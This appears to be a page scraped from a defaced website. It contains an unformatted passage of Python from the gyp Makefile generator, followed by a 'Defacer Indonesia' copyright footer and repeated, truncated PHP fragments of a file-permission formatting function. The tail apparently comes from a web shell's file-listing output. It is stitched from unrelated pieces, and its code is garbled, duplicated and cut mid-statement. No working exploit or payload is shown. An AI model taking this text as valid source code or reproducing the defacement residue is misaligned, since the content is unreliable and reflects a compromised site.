C # sources. '$(CFLAGS_C_$(BUILDTYPE)) ' # $(INCS_$(BUILDTYPE)) includes the prefix '-I' while # LOCAL_C_INCLUDES does not expect it. So put it in # LOCAL_CFLAGS. '$(INCS_$(BUILDTYPE))') # LOCAL_CXXFLAGS is obsolete and LOCAL_CPPFLAGS is preferred. self.WriteLn('LOCAL_CPPFLAGS := $(CFLAGS_CC_$(BUILDTYPE))') self.WriteLn('LOCAL_C_INCLUDES :=') self.WriteLn('LOCAL_LDLIBS := $(LDFLAGS_$(BUILDTYPE)) $(LIBS)') # Detect the C++ extension. cpp_ext = {'.cc': 0, '.cpp': 0, '.cxx': 0} default_cpp_ext = '.cpp' for filename in all_sources: ext = os.path.splitext(filename)[1] if ext in cpp_ext: cpp_ext[ext] += 1 if cpp_ext[ext] > cpp_ext[default_cpp_ext]: default_cpp_ext = ext self.WriteLn('LOCAL_CPP_EXTENSION := ' + default_cpp_ext) self.WriteList(list(map(self.Absolutify, filter(Compilable, all_sources))), 'LOCAL_SRC_FILES') # Filter out those which do not match prefix and suffix and produce # the resulting list without prefix and suffix. def DepsToModules(deps, prefix, suffix): modules = [] for filepath in deps: filename = os.path.basename(filepath) if filename.startswith(prefix) and filename.endswith(suffix): modules.append(filename[len(prefix):-len(suffix)]) return modules # Retrieve the default value of 'SHARED_LIB_SUFFIX' params = {'flavor': 'linux'} default_variables = {} CalculateVariables(default_variables, params) self.WriteList( DepsToModules(link_deps, generator_default_variables['SHARED_LIB_PREFIX'], default_variables['SHARED_LIB_SUFFIX']), 'LOCAL_SHARED_LIBRARIES') self.WriteList( DepsToModules(link_deps, generator_default_variables['STATIC_LIB_PREFIX'], generator_default_variables['STATIC_LIB_SUFFIX']), 'LOCAL_STATIC_LIBRARIES') if self.type == 'executable': self.WriteLn('include $(BUILD_EXECUTABLE)') elif self.type == 'shared_library': self.WriteLn('include $(BUILD_SHARED_LIBRARY)') elif self.type == 'static_library': self.WriteLn('include $(BUILD_STATIC_LIBRARY)') self.WriteLn() def WriteLn(self, text=''): self.fp.write(text + '\n') def GetSortedXcodeEnv(self, additional_settings=None): return gyp.xcode_emulation.GetSortedXcodeEnv( self.xcode_settings, "$(abs_builddir)", os.path.join("$(abs_srcdir)", self.path), "$(BUILDTYPE)", additional_settings) def GetSortedXcodePostbuildEnv(self): # CHROMIUM_STRIP_SAVE_FILE is a chromium-specific hack. # TODO(thakis): It would be nice to have some general mechanism instead. strip_save_file = self.xcode_settings.GetPerTargetSetting( 'CHROMIUM_STRIP_SAVE_FILE', '') # Even if strip_save_file is empty, explicitly write it. Else a postbuild # might pick up an export from an earlier target. return self.GetSortedXcodeEnv( additional_settings={'CHROMIUM_STRIP_SAVE_FILE': strip_save_file}) def WriteSortedXcodeEnv(self, target, env): for k, v in env: # For # foo := a\ b # the escaped space does the right thing. For # export foo := a\ b # it does not -- the backslash is written to the env as literal character. # So don't escape spaces in |env[k]|. self.WriteLn('%s: export %s := %s' % (QuoteSpaces(target), k, v)) def Objectify(self, path): """Convert a path to its output directory form.""" if '$(' in path: path = path.replace('$(obj)/', '$(obj).%s/$(TARGET)/' % self.toolset) if not '$(obj)' in path: path = '$(obj).%s/$(TARGET)/%s' % (self.toolset, path) return path def Pchify(self, path, lang): """Convert a prefix header path to its output directory form.""" path = self.Absolutify(path) if '$(' in path: path = path.replace('$(obj)/', '$(obj).%s/$(TARGET)/pch-%s' % (self.toolset, lang)) return path return '$(obj).%s/$(TARGET)/pch-%s/%s' % (self.toolset, lang, path) def Absolutify(self, path): """Convert a subdirectory-relative path into a base-relative path. Skips over paths that contain variables.""" if '$(' in path: # Don't call normpath in this case, as it might collapse the # path too aggressively if it features '..'. However it's still # important to strip trailing slashes. return path.rstrip('/') return os.path.normpath(os.path.join(self.path, path)) def ExpandInputRoot(self, template, expansion, dirname): if '%(INPUT_ROOT)s' not in template and '%(INPUT_DIRNAME)s' not in template: return template path = template % { 'INPUT_ROOT': expansion, 'INPUT_DIRNAME': dirname, } return path def _InstallableTargetInstallPath(self): """Returns the location of the final output for an installable target.""" # Xcode puts shared_library results into PRODUCT_DIR, and some gyp files # rely on this. Emulate this behavior for mac. # XXX(TooTallNate): disabling this code since we don't want this behavior... #if (self.type == 'shared_library' and # (self.flavor != 'mac' or self.toolset != 'target')): # # Install all shared libs into a common directory (per toolset) for # # convenient access with LD_LIBRARY_PATH. # return '$(builddir)/lib.%s/%s' % (self.toolset, self.alias) return '$(builddir)/' + self.alias def WriteAutoRegenerationRule(params, root_makefile, makefile_name, build_files): """Write the target to regenerate the Makefile.""" options = params['options'] build_files_args = [gyp.common.RelativePath(filename, options.toplevel_dir) for filename in params['build_files_arg']] gyp_binary = gyp.common.FixIfRelativePath(params['gyp_binary'], options.toplevel_dir) if not gyp_binary.startswith(os.sep): gyp_binary = os.path.join('.', gyp_binary) root_makefile.write( "quiet_cmd_regen_makefile = ACTION Regenerating $@\n" "cmd_regen_makefile = cd $(srcdir); %(cmd)s\n" "%(makefile_name)s: %(deps)s\n" "\t$(call do_cmd,regen_makefile)\n\n" % { 'makefile_name': makefile_name, 'deps': ' '.join(SourceifyAndQuoteSpaces(bf) for bf in build_files), 'cmd': gyp.common.EncodePOSIXShellList( [gyp_binary, '-fmake'] + gyp.RegenerateFlags(options) + build_files_args)}) def PerformBuild(data, configurations, params): options = params['options'] for config in configurations: arguments = ['make'] if options.toplevel_dir and options.toplevel_dir != '.': arguments += '-C', options.toplevel_dir arguments.append('BUILDTYPE=' + config) print('Building [%s]: %s' % (config, arguments)) subprocess.check_call(arguments) def GenerateOutput(target_list, target_dicts, data, params): options = params['options'] flavor = gyp.common.GetFlavor(params) generator_flags = params.get('generator_flags', {}) builddir_name = generator_flags.get('output_dir', 'out') android_ndk_version = generator_flags.get('android_ndk_version', None) default_target = generator_flags.get('default_target', 'all') def CalculateMakefilePath(build_file, base_name): """Determine where to write a Makefile for a given gyp file.""" # Paths in gyp files are relative to the .gyp file, but we want # paths relative to the source root for the master makefile. Grab # the path of the .gyp file as the base to relativize against. # E.g. "foo/bar" when we're constructing targets for "foo/bar/baz.gyp". base_path = gyp.common.RelativePath(os.path.dirname(build_file), options.depth) # We write the file in the base_path directory. output_file = os.path.join(options.depth, base_path, base_name) if options.generator_output: output_file = os.path.join( options.depth, options.generator_output, base_path, base_name) base_path = gyp.common.RelativePath(os.path.dirname(build_file), options.toplevel_dir) return base_path, output_file # TODO: search for the first non-'Default' target. This can go # away when we add verification that all targets have the # necessary configurations. default_configuration = None toolsets = set([target_dicts[target]['toolset'] for target in target_list]) for target in target_list: spec = target_dicts[target] if spec['default_configuration'] != 'Default': default_configuration = spec['default_configuration'] break if not default_configuration: default_configuration = 'Default' srcdir = '.' makefile_name = 'Makefile' + options.suffix makefile_path = os.path.join(options.toplevel_dir, makefile_name) if options.generator_output: global srcdir_prefix makefile_path = os.path.join( options.toplevel_dir, options.generator_output, makefile_name) srcdir = gyp.common.RelativePath(srcdir, options.generator_output) srcdir_prefix = '$(srcdir)/' flock_command= 'flock' copy_archive_arguments = '-af' makedep_arguments = '-MMD' header_params = { 'default_target': default_target, 'builddir': builddir_name, 'default_configuration': default_configuration, 'flock': flock_command, 'flock_index': 1, 'link_commands': LINK_COMMANDS_LINUX, 'extra_commands': '', 'srcdir': srcdir, 'copy_archive_args': copy_archive_arguments, 'makedep_args': makedep_arguments, 'CC.target': GetEnvironFallback(('CC_target', 'CC'), '$(CC)'), 'AR.target': GetEnvironFallback(('AR_target', 'AR'), '$(AR)'), 'CXX.target': GetEnvironFallback(('CXX_target', 'CXX'), '$(CXX)'), 'LINK.target': GetEnvironFallback(('LINK_target', 'LINK'), '$(LINK)'), 'CC.host': GetEnvironFallback(('CC_host', 'CC'), 'gcc'), 'AR.host': GetEnvironFallback(('AR_host', 'AR'), 'ar'), 'CXX.host': GetEnvironFallback(('CXX_host', 'CXX'), 'g++'), 'LINK.host': GetEnvironFallback(('LINK_host', 'LINK'), '$(CXX.host)'), } if flavor == 'mac': flock_command = './gyp-mac-tool flock' header_params.update({ 'flock': flock_command, 'flock_index': 2, 'link_commands': LINK_COMMANDS_MAC, 'extra_commands': SHARED_HEADER_MAC_COMMANDS, }) elif flavor == 'android': header_params.update({ 'link_commands': LINK_COMMANDS_ANDROID, }) elif flavor == 'zos': copy_archive_arguments = '-fPR' makedep_arguments = '-qmakedep=gcc' header_params.update({ 'copy_archive_args': copy_archive_arguments, 'makedep_args': makedep_arguments, 'link_commands': LINK_COMMANDS_OS390, 'CC.target': GetEnvironFallback(('CC_target', 'CC'), 'njsc'), 'CXX.target': GetEnvironFallback(('CXX_target', 'CXX'), 'njsc++'), 'CC.host': GetEnvironFallback(('CC_host', 'CC'), 'njsc'), 'CXX.host': GetEnvironFallback(('CXX_host', 'CXX'), 'njsc++'), }) elif flavor == 'solaris': header_params.update({ 'flock': './gyp-flock-tool flock', 'flock_index': 2, }) elif flavor == 'freebsd': # Note: OpenBSD has sysutils/flock. lockf seems to be FreeBSD specific. header_params.update({ 'flock': 'lockf', }) elif flavor == 'openbsd': copy_archive_arguments = '-pPRf' header_params.update({ 'copy_archive_args': copy_archive_arguments, }) elif flavor == 'aix': copy_archive_arguments = '-pPRf' header_params.update({ 'copy_archive_args': copy_archive_arguments, 'link_commands': LINK_COMMANDS_AIX, 'flock': './gyp-flock-tool flock', 'flock_index': 2, }) build_file, _, _ = gyp.common.ParseQualifiedTarget(target_list[0]) make_global_settings_array = data[build_file].get('make_global_settings', []) wrappers = {} for key, value in make_global_settings_array: if key.endswith('_wrapper'): wrappers[key[:-len('_wrapper')]] = '$(abspath %s)' % value make_global_settings = '' for key, value in make_global_settings_array: if re.match('.*_wrapper', key): continue if value[0] != '$': value = '$(abspath %s)' % value wrapper = wrappers.get(key) if wrapper: value = '%s %s' % (wrapper, value) del wrappers[key] if key in ('CC', 'CC.host', 'CXX', 'CXX.host'): make_global_settings += ( 'ifneq (,$(filter $(origin %s), undefined default))\n' % key) # Let gyp-time envvars win over global settings. env_key = key.replace('.', '_') # CC.host -> CC_host if env_key in os.environ: value = os.environ[env_key] make_global_settings += ' %s = %s\n' % (key, value) make_global_settings += 'endif\n' else: make_global_settings += '%s ?= %s\n' % (key, value) # TODO(ukai): define cmd when only wrapper is specified in # make_global_settings. header_params['make_global_settings'] = make_global_settings gyp.common.EnsureDirExists(makefile_path) root_makefile = open(makefile_path, 'w') root_makefile.write(SHARED_HEADER % header_params) # Currently any versions have the same effect, but in future the behavior # could be different. if android_ndk_version: root_makefile.write( '# Define LOCAL_PATH for build of Android applications.\n' 'LOCAL_PATH := $(call my-dir)\n' '\n') for toolset in toolsets: root_makefile.write('TOOLSET := %s\n' % toolset) WriteRootHeaderSuffixRules(root_makefile) # Put build-time support tools next to the root Makefile. dest_path = os.path.dirname(makefile_path) gyp.common.CopyTool(flavor, dest_path) # Find the list of targets that derive from the gyp file(s) being built. needed_targets = set() for build_file in params['build_files']: for target in gyp.common.AllTargets(target_list, target_dicts, build_file): needed_targets.add(target) build_files = set() include_list = set() for qualified_target in target_list: build_file, target, toolset = gyp.common.ParseQualifiedTarget( qualified_target) this_make_global_settings = data[build_file].get('make_global_settings', []) assert make_global_settings_array == this_make_global_settings, ( "make_global_settings needs to be the same for all targets. %s vs. %s" % (this_make_global_settings, make_global_settings)) build_files.add(gyp.common.RelativePath(build_file, options.toplevel_dir)) included_files = data[build_file]['included_files'] for included_file in included_files: # The included_files entries are relative to the dir of the build file # that included them, so we have to undo that and then make them relative # to the root dir. relative_include_file = gyp.common.RelativePath( gyp.common.UnrelativePath(included_file, build_file), options.toplevel_dir) abs_include_file = os.path.abspath(relative_include_file) # If the include file is from the ~/.gyp dir, we should use absolute path # so that relocating the src dir doesn't break the path. if (params['home_dot_gyp'] and abs_include_file.startswith(params['home_dot_gyp'])): build_files.add(abs_include_file) else: build_files.add(relative_include_file) base_path, output_file = CalculateMakefilePath(build_file, target + '.' + toolset + options.suffix + '.mk') spec = target_dicts[qualified_target] configs = spec['configurations'] if flavor == 'mac': gyp.xcode_emulation.MergeGlobalXcodeSettingsToSpec(data[build_file], spec) writer = MakefileWriter(generator_flags, flavor) writer.Write(qualified_target, base_path, output_file, spec, configs, part_of_all=qualified_target in needed_targets) # Our root_makefile lives at the source root. Compute the relative path # from there to the output_file for including. mkfile_rel_path = gyp.common.RelativePath(output_file, os.path.dirname(makefile_path)) include_list.add(mkfile_rel_path) # Write out per-gyp (sub-project) Makefiles. depth_rel_path = gyp.common.RelativePath(options.depth, os.getcwd()) for build_file in build_files: # The paths in build_files were relativized above, so undo that before # testing against the non-relativized items in target_list and before # calculating the Makefile path. build_file = os.path.join(depth_rel_path, build_file) gyp_targets = [target_dicts[target]['target_name'] for target in target_list if target.startswith(build_file) and target in needed_targets] # Only generate Makefiles for gyp files with targets. if not gyp_targets: continue base_path, output_file = CalculateMakefilePath(build_file, os.path.splitext(os.path.basename(build_file))[0] + '.Makefile') makefile_rel_path = gyp.common.RelativePath(os.path.dirname(makefile_path), os.path.dirname(output_file)) writer.WriteSubMake(output_file, makefile_rel_path, gyp_targets, builddir_name) # Write out the sorted list of includes. root_makefile.write('\n') for include_file in sorted(include_list): # We wrap each .mk include in an if statement so users can tell make to # not load a file by setting NO_LOAD. The below make code says, only # load the .mk file if the .mk filename doesn't start with a token in # NO_LOAD. root_makefile.write( "ifeq ($(strip $(foreach prefix,$(NO_LOAD),\\\n" " $(findstring $(join ^,$(prefix)),\\\n" " $(join ^," + include_file + ")))),)\n") root_makefile.write(" include " + include_file + "\n") root_makefile.write("endif\n") root_makefile.write('\n') if (not generator_flags.get('standalone') and generator_flags.get('auto_regeneration', True)): WriteAutoRegenerationRule(params, root_makefile, makefile_name, build_files) root_makefile.write(SHARED_FOOTER) root_makefile.close() Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>